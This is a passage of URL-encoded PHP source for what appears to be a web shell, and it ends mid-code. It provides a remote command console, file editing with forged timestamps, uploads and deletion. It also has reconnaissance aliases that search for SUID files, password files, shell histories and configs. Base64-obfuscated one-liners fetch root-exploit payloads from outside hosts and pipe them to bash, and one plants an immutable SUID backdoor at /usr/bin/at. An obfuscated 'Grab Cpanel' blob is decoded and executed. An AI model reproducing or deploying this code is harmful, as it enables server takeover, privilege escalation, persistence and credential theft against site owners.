24time%20%3D%20%40filemtime%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%24%5fPOST%5B%22p3%22%5D%20%3D%20substr%28%24%5fPOST%5B%22p3%22%5D%2C%201%29%3B%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22w%22%29%3B%20if%20%28%24fp%29%20%7B%20%40fwrite%28%24fp%2C%20%24%5fPOST%5B%22p3%22%5D%29%3B%20%40fclose%28%24fp%29%3B%20echo%20%27Saved!%3Cbr%3E%3Cscript%3Ep3%5f%3D%22%22%3B%3C%2Fscript%3E%27%3B%20%40touch%28%24%5fPOST%5B%22p1%22%5D%2C%20%24time%2C%20%24time%29%3B%20%7D%20%7D%20echo%20%27%3Cform%20onsubmit%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2Cnull%2C%5C%271%5C%27%2Bthis.text.value%29%3Breturn%20false%3B%22%3E%3Ctextarea%20name%3Dtext%20class%3Dbigarea%3E%27%3B%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22r%22%29%3B%20if%20%28%24fp%29%20%7B%20while%20%28!%40feof%28%24fp%29%29%20%7B%20echo%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40fread%28%24fp%2C%201024%29%29%3B%20%7D%20%40fclose%28%24fp%29%3B%20%7D%20echo%20%27%3C%2Ftextarea%3E%3Cinput%20type%3Dsubmit%20value%3D%22submit%22%3E%3C%2Fform%3E%27%3B%20break%3B%20case%20%22hexdump%22%3A%20%24c%20%3D%20%40file%5fget%5fcontents%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%24n%20%3D%200%3B%20%24h%20%3D%20%5B%2200000000%3Cbr%3E%22%2C%20%22%22%2C%20%22%22%5D%3B%20%24len%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24c%29%3B%20for%20%28%24i%20%3D%200%3B%20%24i%20%3C%20%24len%3B%20%2B%2B%24i%29%20%7B%20%24h%5B1%5D%20.%3D%20sprintf%28%22%2502X%22%2C%20ord%28%24c%5B%24i%5D%29%29%20.%20%22%20%22%3B%20switch%20%28ord%28%24c%5B%24i%5D%29%29%20%7B%20case%200%3A%20%24h%5B2%5D%20.%3D%20%22%20%22%3B%20break%3B%20case%209%3A%20%24h%5B2%5D%20.%3D%20%22%20%22%3B%20break%3B%20case%2010%3A%20%24h%5B2%5D%20.%3D%20%22%20%22%3B%20break%3B%20case%2013%3A%20%24h%5B2%5D%20.%3D%20%22%20%22%3B%20break%3B%20default%3A%20%24h%5B2%5D%20.%3D%20%24c%5B%24i%5D%3B%20break%3B%20%7D%20%24n%2B%2B%3B%20if%20%28%24n%20%3D%3D%2032%29%20%7B%20%24n%20%3D%200%3B%20if%20%28%24i%20%2B%201%20%3C%20%24len%29%20%7B%20%24h%5B0%5D%20.%3D%20sprintf%28%22%2508X%22%2C%20%24i%20%2B%201%29%20.%20%22%3Cbr%3E%22%3B%20%7D%20%24h%5B1%5D%20.%3D%20%22%3Cbr%3E%22%3B%20%24h%5B2%5D%20.%3D%20%22%5Cn%22%3B%20%7D%20%7D%20echo%20%27%3Ctable%20cellspacing%3D1%20cellpadding%3D5%20bgcolor%3D%23222%3E%3Ctr%3E%3Ctd%20bgcolor%3D%23202832%3E%3Cspan%20style%3D%22font-weight%3A%20normal%3B%22%3E%3Cpre%3E%27%20.%20%24h%5B0%5D%20.%20%22%3C%2Fpre%3E%3C%2Fspan%3E%3C%2Ftd%3E%3Ctd%20bgcolor%3D%230d0d0d%3E%3Cpre%3E%22%20.%20%24h%5B1%5D%20.%20%22%3C%2Fpre%3E%3C%2Ftd%3E%3Ctd%20bgcolor%3D%23202832%3E%3Cpre%3E%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24h%5B2%5D%29%20.%20%22%3C%2Fpre%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%22%3B%20break%3B%20case%20%22rename%22%3A%20if%20%28!empty%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20if%20%28!%40rename%28%24%5fPOST%5B%22p1%22%5D%2C%20%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20echo%20%27Can%5C%27t%20rename!%3Cbr%3E%27%3B%20%7D%20else%20%7B%20die%28%20%27%3Cscript%3Eg%28null%2Cnull%2C%22%27%20.%20urlencode%28%24%5fPOST%5B%22p3%22%5D%29%20.%20%27%22%2Cnull%2C%22%22%29%3C%2Fscript%3E%27%20%29%3B%20%7D%20%7D%20echo%20%27%3Cform%20onsubmit%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2Cnull%2Cthis.name.value%29%3Breturn%20false%3B%22%3E%3Cinput%20type%3Dtext%20name%3Dname%20value%3D%22%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22submit%22%3E%3C%2Fform%3E%27%3B%20break%3B%20case%20%22touch%22%3A%20if%20%28!empty%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20%24time%20%3D%20strtotime%28%24%5fPOST%5B%22p3%22%5D%29%3B%20if%20%28%24time%29%20%7B%20if%20%28!touch%28%24%5fPOST%5B%22p1%22%5D%2C%20%24time%2C%20%24time%29%29%20%7B%20echo%20%22Fail!%22%3B%20%7D%20else%20%7B%20echo%20%22Touched!%22%3B%20%7D%20%7D%20else%20%7B%20echo%20%22Bad%20time%20format!%22%3B%20%7D%20%7D%20clearstatcache%28%29%3B%20echo%20%27%3Cscript%3Ep3%5f%3D%22%22%3B%3C%2Fscript%3E%3Cform%20onsubmit%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2Cnull%2Cthis.touch.value%29%3Breturn%20false%3B%22%3E%3Cinput%20type%3Dtext%20name%3Dtouch%20value%3D%22%27%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%2C%20%40filemtime%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%27%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22submit%22%3E%3C%2Fform%3E%27%3B%20break%3B%20case%20%22frame%22%3A%20%24frameSrc%20%3D%20substr%28%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%2C%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fSERVER%5B%22DOCUMENT%5fROOT%22%5D%29%20%29%20%29%3B%20if%20%28%24frameSrc%5B0%5D%20!%3D%20%22%2F%22%29%20%7B%20%24frameSrc%20%3D%20%22%2F%22%20.%20%24frameSrc%3B%20%7D%20if%20%28%24frameSrc%5B%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24frameSrc%29%20-%201%5D%20!%3D%20%22%2F%22%29%20%7B%20%24frameSrc%20%3D%20%24frameSrc%20.%20%22%2F%22%3B%20%7D%20%24frameSrc%20%3D%20%24frameSrc%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p1%22%5D%29%3B%20echo%20%27%3Ciframe%20width%3D%22100%25%22%20height%3D%22900px%22%20scrolling%3D%22no%22%20src%3D%27%20.%20%24frameSrc%20.%20%27%20onload%3D%22onload%3Dheight%3DcontentDocument.body.scrollHeight%22%3E%3C%2Fiframe%3E%27%3B%20break%3B%20%7D%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20if%20%28%24os%20%3D%3D%20%22win%22%29%20%7B%20%24aliases%20%3D%20%5B%20%22List%20Directory%22%20%3D%3E%20%22dir%22%2C%20%22Find%20index.php%20in%20current%20dir%22%20%3D%3E%20%22dir%20%2Fs%20%2Fw%20%2Fb%20index.php%22%2C%20%22Find%20%2aconfig%2a.php%20in%20current%20dir%22%20%3D%3E%20%22dir%20%2Fs%20%2Fw%20%2Fb%20%2aconfig%2a.php%22%2C%20%22Show%20active%20connections%22%20%3D%3E%20%22netstat%20-an%22%2C%20%22Show%20running%20services%22%20%3D%3E%20%22net%20start%22%2C%20%22User%20accounts%22%20%3D%3E%20%22net%20user%22%2C%20%22Show%20computers%22%20%3D%3E%20%22net%20view%22%2C%20%22ARP%20Table%22%20%3D%3E%20%22arp%20-a%22%2C%20%22IP%20Configuration%22%20%3D%3E%20%22ipconfig%20%2Fall%22%2C%20%5D%3B%20%7D%20else%20%7B%20%24aliases%20%3D%20%5B%20%22List%20dir%22%20%3D%3E%20%22ls%20-lha%22%2C%20%22list%20file%20attributes%20on%20a%20Linux%20second%20extended%20file%20system%22%20%3D%3E%20%22lsattr%20-va%22%2C%20%22show%20opened%20ports%22%20%3D%3E%20%22netstat%20-an%20%7C%20grep%20-i%20listen%22%2C%20%22process%20status%22%20%3D%3E%20%22ps%20aux%22%2C%20%22Find%22%20%3D%3E%20%22%22%2C%20%22find%20all%20suid%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-perm%20-04000%20-ls%22%2C%20%22find%20suid%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-perm%20-04000%20-ls%22%2C%20%22find%20all%20sgid%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-perm%20-02000%20-ls%22%2C%20%22find%20sgid%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-perm%20-02000%20-ls%22%2C%20%22find%20config.inc.php%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20config.inc.php%22%2C%20%22find%20config%2a%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20%5C%22config%2a%5C%22%22%2C%20%22find%20config%2a%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20%5C%22config%2a%5C%22%22%2C%20%22find%20all%20writable%20folders%20and%20files%22%20%3D%3E%20%22find%20%2F%20-perm%20-2%20-ls%22%2C%20%22find%20all%20writable%20folders%20and%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-perm%20-2%20-ls%22%2C%20%22find%20all%20service.pwd%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20service.pwd%22%2C%20%22find%20service.pwd%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20service.pwd%22%2C%20%22find%20all%20.htpasswd%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20.htpasswd%22%2C%20%22find%20.htpasswd%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20.htpasswd%22%2C%20%22find%20all%20.bash%5fhistory%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20.bash%5fhistory%22%2C%20%22find%20.bash%5fhistory%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20.bash%5fhistory%22%2C%20%22find%20all%20.fetchmailrc%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20.fetchmailrc%22%2C%20%22find%20.fetchmailrc%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20.fetchmailrc%22%2C%20%22Locate%22%20%3D%3E%20%22%22%2C%20%22locate%20httpd.conf%20files%22%20%3D%3E%20%22locate%20httpd.conf%22%2C%20%22locate%20vhosts.conf%20files%22%20%3D%3E%20%22locate%20vhosts.conf%22%2C%20%22locate%20proftpd.conf%20files%22%20%3D%3E%20%22locate%20proftpd.conf%22%2C%20%22locate%20psybnc.conf%20files%22%20%3D%3E%20%22locate%20psybnc.conf%22%2C%20%22locate%20my.conf%20files%22%20%3D%3E%20%22locate%20my.conf%22%2C%20%22locate%20admin.php%20files%22%20%3D%3E%20%22locate%20admin.php%22%2C%20%22locate%20cfg.php%20files%22%20%3D%3E%20%22locate%20cfg.php%22%2C%20%22locate%20conf.php%20files%22%20%3D%3E%20%22locate%20conf.php%22%2C%20%22locate%20config.dat%20files%22%20%3D%3E%20%22locate%20config.dat%22%2C%20%22locate%20config.php%20files%22%20%3D%3E%20%22locate%20config.php%22%2C%20%22locate%20config.inc%20files%22%20%3D%3E%20%22locate%20config.inc%22%2C%20%22locate%20config.inc.php%22%20%3D%3E%20%22locate%20config.inc.php%22%2C%20%22locate%20config.default.php%20files%22%20%3D%3E%20%22locate%20config.default.php%22%2C%20%22locate%20config%2a%20files%20%22%20%3D%3E%20%22locate%20config%22%2C%20%22locate%20.conf%20files%22%20%3D%3E%20%22locate%20%27.conf%27%22%2C%20%22locate%20.pwd%20files%22%20%3D%3E%20%22locate%20%27.pwd%27%22%2C%20%22locate%20.sql%20files%22%20%3D%3E%20%22locate%20%27.sql%27%22%2C%20%22locate%20.htpasswd%20files%22%20%3D%3E%20%22locate%20%27.htpasswd%27%22%2C%20%22locate%20.bash%5fhistory%20files%22%20%3D%3E%20%22locate%20%27.bash%5fhistory%27%22%2C%20%22locate%20.mysql%5fhistory%20files%22%20%3D%3E%20%22locate%20%27.mysql%5fhistory%27%22%2C%20%22locate%20.fetchmailrc%20files%22%20%3D%3E%20%22locate%20%27.fetchmailrc%27%22%2C%20%22locate%20backup%20files%22%20%3D%3E%20%22locate%20backup%22%2C%20%22locate%20dump%20files%22%20%3D%3E%20%22locate%20dump%22%2C%20%22locate%20priv%20files%22%20%3D%3E%20%22locate%20priv%22%2C%20%22Root%20Scanner%20%28Privesc%29%22%20%3D%3E%20%22echo%20Y3VybCAtTHNvLSBodHRwczovL3hzZWMtMTMzNy53ZWIuYXBwL0BGaWxlcy9hdXRvLXJvb3QucG5nIHwgYmFzaA%3D%3D%20%7C%20base64%20-d%20%7C%20bash%22%2C%20%22Spawn%20Kr%20Scannnnnerrr%20%28auto.tar.gz%29%20in%20current%20directory%22%20%3D%3E%20%22echo%20d2dldCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vaGVrZXJwcm90enkvcm9vdHNoZWxsL21haW4vYXV0by50YXIuZ3o7dGFyIC14ZiBhdXRvLnRhci5nejtybSAtcmYgYXV0by50YXIuZ3o%3D%20%7C%20base64%20-d%20%7C%20bash%22%2C%20%22Put%20SUID%20Phyaaaa%20%3C3%20%5E%5f%5E%22%20%3D%3E%20%22echo%20d2dldCBodHRwczovL3hzZWMtMTMzNy53ZWIuYXBwL0BGaWxlcy9waGVhLnBuZyAtTyAvdXNyL2Jpbi9hdDtjaG93biByb290OnJvb3QgL3Vzci9iaW4vYXQ7Y2htb2QgdW9nPXhzIC91c3IvYmluL2F0O3RvdWNoIC1kICdBcHIgMTQgIDIwMDInIC91c3IvYmluL2F0OyBjaGF0dHIgK2kgL3Vzci9iaW4vYXQ%3D%20%7C%20base64%20-d%20%7C%20bash%22%2C%20%5D%3B%20%7D%20function%20actionConsole%28%29%20%7B%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%20%26%26%20!empty%28%24%5fPOST%5B%22p2%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22stderr%5fto%5fout%22%2C%20true%20%29%3B%20%24%5fPOST%5B%22p1%22%5D%20.%3D%20%22%202%3E%261%22%3B%20%7D%20elseif%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22stderr%5fto%5fout%22%2C%200%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22ajax%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%2C%20true%20%29%3B%20ob%5fstart%28%29%3B%20echo%20%22d.cf.cmd.value%3D%27%27%3B%5Cn%22%3B%20%24temp%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%24%5fPOST%5B%22charset%22%5D%2C%20%22UTF-8%22%2C%20addcslashes%28%20%22%5Cn%24%20%22%20.%20%24%5fPOST%5B%22p1%22%5D%20.%20%22%5Cn%22%20.%20ex%28%24%5fPOST%5B%22p1%22%5D%29%2C%20%22%5Cn%5Cr%5Ct%5C%27%5C0%22%20%29%20%29%3B%20if%20%28preg%5fmatch%28%22!.%2acd%5Cs%2B%28%5B%5E%3B%5D%2B%29%24!%22%2C%20%24%5fPOST%5B%22p1%22%5D%2C%20%24match%29%29%20%7B%20if%20%28%40chdir%28%24match%5B1%5D%29%29%20%7B%20%24GLOBALS%5B%22cwd%22%5D%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B25%5D%28%29%3B%20echo%20%22c%5f%3D%27%22%20.%20%24GLOBALS%5B%22cwd%22%5D%20.%20%22%27%3B%22%3B%20%7D%20%7D%20echo%20%22d.cf.output.value%2B%3D%27%22%20.%20%24temp%20.%20%22%27%3B%22%3B%20echo%20%22d.cf.output.scrollTop%20%3D%20d.cf.output.scrollHeight%3B%22%3B%20%24temp%20%3D%20ob%5fget%5fclean%28%29%3B%20echo%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24temp%29%2C%20%22%5Cn%22%2C%20%24temp%3B%20exit%28%29%3B%20%7D%20if%20%28empty%28%24%5fPOST%5B%22ajax%22%5D%29%20%26%26%20!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%2C%200%20%29%3B%20%7D%20hardHeader%28%29%3B%20echo%20%22%3Cscript%3E%0Aif%28window.Event%29%20window.captureEvents%28Event.KEYDOWN%29%3B%0Avar%20cmds%20%3D%20new%20Array%28%27%27%29%3B%0Avar%20cur%20%3D%200%3B%0Afunction%20kp%28e%29%20%7B%0A%09var%20n%20%3D%20%28window.Event%29%20%3F%20e.which%20%3A%20e.keyCode%3B%0A%09if%28n%20%3D%3D%2038%29%20%7B%0A%09%09cur--%3B%0A%09%09if%28cur%3E%3D0%29%0A%09%09%09document.cf.cmd.value%20%3D%20cmds%5Bcur%5D%3B%0A%09%09else%0A%09%09%09cur%2B%2B%3B%0A%09%7D%20else%20if%28n%20%3D%3D%2040%29%20%7B%0A%09%09cur%2B%2B%3B%0A%09%09if%28cur%20%3C%20cmds.length%29%0A%09%09%09document.cf.cmd.value%20%3D%20cmds%5Bcur%5D%3B%0A%09%09else%0A%09%09%09cur--%3B%0A%09%7D%0A%7D%0Afunction%20add%28cmd%29%20%7B%0A%09cmds.pop%28%29%3B%0A%09cmds.push%28cmd%29%3B%0A%09cmds.push%28%27%27%29%3B%0A%09cur%20%3D%20cmds.length-1%3B%0A%7D%0A%3C%2Fscript%3E%22%3B%20echo%20%27%3Ch1%3EConsole%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cform%20name%3Dcf%20onsubmit%3D%22if%28d.cf.cmd.value%3D%3D%5C%27clear%5C%27%29%7Bd.cf.output.value%3D%5C%27%5C%27%3Bd.cf.cmd.value%3D%5C%27%5C%27%3Breturn%20false%3B%7Dadd%28this.cmd.value%29%3Bif%28this.ajax.checked%29%7Ba%28null%2Cnull%2Cthis.cmd.value%2Cthis.show%5ferrors.checked%3F1%3A%5C%27%5C%27%29%3B%7Delse%7Bg%28null%2Cnull%2Cthis.cmd.value%2Cthis.show%5ferrors.checked%3F1%3A%5C%27%5C%27%29%3B%7D%20return%20false%3B%22%3E%3Clabel%3E%3Cselect%20name%3Dalias%3E%27%3B%20foreach%20%28%24GLOBALS%5B%22aliases%22%5D%20as%20%24n%20%3D%3E%20%24v%29%20%7B%20if%20%28%24v%20%3D%3D%20%22%22%29%20%7B%20echo%20%27%3Coptgroup%20label%3D%22-%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24n%29%20.%20%27-%22%3E%3C%2Foptgroup%3E%27%3B%20continue%3B%20%7D%20echo%20%27%3Coption%20value%3D%22%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24v%29%20.%20%27%22%3E%27%20.%20%24n%20.%20%22%3C%2Foption%3E%22%3B%20%7D%20echo%20%27%3C%2Fselect%3E%3C%2Flabel%3E%3Cinput%20type%3Dbutton%20onclick%3D%22add%28d.cf.alias.value%29%3Bif%28d.cf.ajax.checked%29%7Ba%28null%2Cnull%2Cd.cf.alias.value%2Cd.cf.show%5ferrors.checked%3F1%3A%5C%27%5C%27%29%3B%7Delse%7Bg%28null%2Cnull%2Cd.cf.alias.value%2Cd.cf.show%5ferrors.checked%3F1%3A%5C%27%5C%27%29%3B%7D%22%20value%3D%22submit%22%3E%20%3Cnobr%3E%3Cinput%20type%3Dcheckbox%20name%3Dajax%20value%3D1%20%27%20.%20%28%40%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%5D%20%3F%20%22checked%22%20%3A%20%22%22%29%20.%20%22%3E%20send%20using%20AJAX%20%3Cinput%20type%3Dcheckbox%20name%3Dshow%5ferrors%20value%3D1%20%22%20.%20%28!empty%28%24%5fPOST%5B%22p2%22%5D%29%20%7C%7C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22stderr%5fto%5fout%22%5D%20%3F%20%22checked%22%20%3A%20%22%22%29%20.%20%27%3E%20redirect%20stderr%20to%20stdout%20%282%3E%261%29%3C%2Fnobr%3E%3Cbr%2F%3E%3Ctextarea%20class%3Dbigarea%20name%3Doutput%20style%3D%22border-bottom%3A0%3Bmargin-top%3A5px%3B%22%20readonly%3E%27%3B%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20echo%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%20%22%24%20%22%20.%20%24%5fPOST%5B%22p1%22%5D%20.%20%22%5Cn%22%20.%20ex%28%24%5fPOST%5B%22p1%22%5D%29%20%29%3B%20%7D%20echo%20%27%3C%2Ftextarea%3E%3Ctable%20style%3D%22border%3A1px%20solid%20%230d0d0d%3Bbackground-color%3A%230d0d0d%3Bborder-top%3A0px%3B%22%20cellpadding%3D0%20cellspacing%3D0%20width%3D%22100%25%22%3E%3Ctr%3E%3Ctd%20style%3D%22padding-left%3A4px%3B%20width%3A13px%3B%22%3E%24%3C%2Ftd%3E%3Ctd%3E%3Cinput%20type%3Dtext%20name%3Dcmd%20style%3D%22border%3A0px%3Bwidth%3A100%25%3B%22%20onkeydown%3D%22kp%28event%29%3B%22%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%27%3B%20echo%20%22%3C%2Fform%3E%3C%2Fdiv%3E%3Cscript%3Ed.cf.cmd.focus%28%29%3B%3C%2Fscript%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionPhp%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EGrab%20Cpanel%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%24hex%20%3D%20%22tUrvYto4GP5eqf%2BDlyElXGZWoLfTUwkbR5R3H6qWYZO6XoXinO0UupA4w3jY%2Br%2FfeJtA%2BNECpzvUCm8%2Ffv368XA%2FYj6IQAwodJaZChrm8cOAE4IJNXqvbWVrkFJOwgQOEA8Y4fX7ukhufMTsyjQmf1Q8Ikp8HLEbwYNS07UIZ4PweNWfhwcIPpWYaz4fhTlBubVuMEVu5YwzZ3odXcRIwWEr4q6AE84iEiBTxNSSUGI91fVna8CTCVNzZllN8t88mbcksB6uWyqpN41SQJGPPnEi55bpZZa4TjzlqZPgIDOrCoULFFriIBXEMtz7mHWcISEiUNYchgkqAkoPDwoWtgeRMJHN40fRz0zOU5PF45yjOBffA3%2BWf5PJ%2Fwm6160MhwglbFmpQtlQzustZ9k5YvdD03KTSGALXWi%2BXnx2YuwsBwHk%2BUy%2FuwvuFJ6GmKS7YJ3pg5ME2QzqwlcMyWaCo4D5NVJsAlFs8kouKHuBtAwTHicTWONvTRAt1QdxRVNPWQtBesNWx1NI9s1NcXFTBoSD%2FhPYf%2Bg3etO0iygyAzwMOAEgBBKjwWrOwm4kRVgKU2hOQUU1Zbkx5dQ1nG%2B0SY8g32C06UHwlLumo%2BPdmmUN5p1wujM2lCDDGIjzEVmSDEarkJagkG6cVxFLKl5IiSPB4YN%2BtpEJgeVgiLc%2BhcNTWVg59HLaZRED0DcDKUR416GzDfYX9051m%2FNJA2szFLLQrNR0TUmB2n9%2FDHXgs0QPVIjiXKR1OBGMn6ChVdmkgXfH76B0VsrAqNLG0ZFwgFzSzYGXApygdOZOK295xnVPa%2BZCGAsb7m%2FzHKNE997WEYsJsOUPxmwcPLZX3Vo3Ye2ZWQN6VsZL5X%2Ff5e4yULFyLwV%2FjjzdW55sQeBt7kU7K%2Fxd5iJsUZ854Qv65uc%2FWo6O5DeNkoRGbewb65vyeH2aX1h4%2BivQaok8U1ZR8gG4HEYnVj2B3%2BGQTNBio8vz7lrntDeAL7uYdzg8ps6QuvjRCSehsXbcfBjcjBef%2Bu2een7F31Gex%2B4bx1DWVBGka1URXL5inNoJIveN2lvHq6JCPGzEYd2rbPBKUNcCdcMjSmmaLyZr2jnr2ai2FWb9pX9maHMbhNModLAjcLiQ%2FvxwwINR2XZOefXFVdedm5vOx5vO5VLvWKf9zLwFuNvvnWrbve5S%2B%2By637VfzvFm%2F%2BIKQDpvchxymbpLFZ6PayLRM%2Ft%2BKpu4q%2FxCWzbDLM5uEKhSbeYCRvL1J55G%2FmZKf5%2F7rreH767a65qlrjjnBoPczwenY2F8FBMSP0tYxkqsRGyfSmvfeUQf4KR9F5b5DQdcupruLwDyEwJgMI1MMhnEbGGZryUUGZbzW9VrPR9FNsRvcZZUZ2%2BVW7Th5jywZ06mx9zW7nFMSVKtbWxvSBXBqmHv1GGWoKWIQvqnSVCZg04UCCgNLdmm1BREssRCJZ0GmwmTRCRMS%2B20V1AEGUkq2cPjZGhes8LcbRUqQWQzFb2QiO7FTdo6%2FymcQ04xgSMCw3qJ0nbLd6ckSWizpSULQZ%2BRwaz6TCxX8kRH0nNQYXJW7VJuUWHf3NmmLFrM6nyoGq4nuwWEaqfSl9CTpf3IfSXNH1er81nkQchHiIq3Xv%2BQ%2F6fmIfvVOeS%2FrXqWXGmDWGErbraNB5ddZdK1ogVRSfnxe1oWlC1m6Rk9Sql5m0ax9K%2By3U1y7LBctUDTQzmonSoIMDUD5kHFBE35rF9NZsHnfiV%2F7zV3m%2Fp%2BeQz2tNy0%2FrjVv1diqam4n9Gi7XsPukOrp6Imp2TAZmcNT5O3BOyfms2BDCbH8j0YueU34SXLR15NGOdZ5qsptZqi1czgPKEE55j4r7Ps3TvPePW73UG36coe9ba9CbNrYpsB5XvyJuCyUBfgNnPoT0gvAqh81WchExfyRpv9hN63%2FgE%3D%22%3B%20%24temp%5ffile%20%3D%20tmpfile%28%29%3B%20fwrite%28%20%24temp%5ffile%2C%20%22%5Cx3C%5Cx3F%5Cx70%5Cx68%5Cx70%5Cx20%22%20.%20str%5frot13%28gzinflate%28str%5frot13%28%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24hex%29%29%29%29%20%29%3B%20include%20stream%5fget%5fmeta%5fdata%28%24temp%5ffile%29%5B%22uri%22%5D%3B%20fclose%28%24temp%5ffile%29%3B%20echo%20%22%20%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionFilesMan%28%29%20%7B%20if%20%28!empty%28%24%5fCOOKIE%5B%22f%22%5D%29%29%20%7B%20%24%5fCOOKIE%5B%22f%22%5D%20%3D%20%40unserialize%28%24%5fCOOKIE%5B%22f%22%5D%29%3B%20%7D%20if%20%28!empty%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20switch%20%28%24%5fPOST%5B%22p1%22%5D%29%20%7B%20case%20%22uploadFile%22%3A%20if%20%28is%5farray%28%24%5fFILES%5B%22f%22%5D%5B%22tmp%5fname%22%5D%29%29%20%7B%20foreach%20%28%24%5fFILES%5B%22f%22%5D%5B%22tmp%5fname%22%5D%20as%20%24i%20%3D%3E%20%24tmpName%29%20%7B%20if%20%28%20!%40move%5fuploaded%5ffile%28%20%24tmpName%2C%20%24%5fFILES%5B%22f%22%5D%5B%22name%22%5D%5B%24i%5D%20%29%20%29%20%7B%20echo%20%22Can%27t%20upload%20file!%22%3B%20%7D%20%7D%20%7D%20break%3B%20case%20%22mkdir%22%3A%20if%20%28!%40mkdir%28%24%5fPOST%5B%22p2%22%5D%29%29%20%7B%20echo%20%22Can%27t%20create%20new%20dir%22%3B%20%7D%20break%3B%20case%20%22delete%22%3A%20function%20deleteDir%28%24path%29%20%7B%20%24path%20%3D%20substr%28%24path%2C%20-1%29%20%3D%3D%20%22%2F%22%20%3F%20%24path%20%3A%20%24path%20.%20%22%2F%22%3B%20%24dh%20%3D%20opendir%28%24path%29%3B%20while%20%28%28%24%E2%96%9F%20%3D%20readdir%28%24dh%29%29%20!%3D%3D%20false%29%20%7B%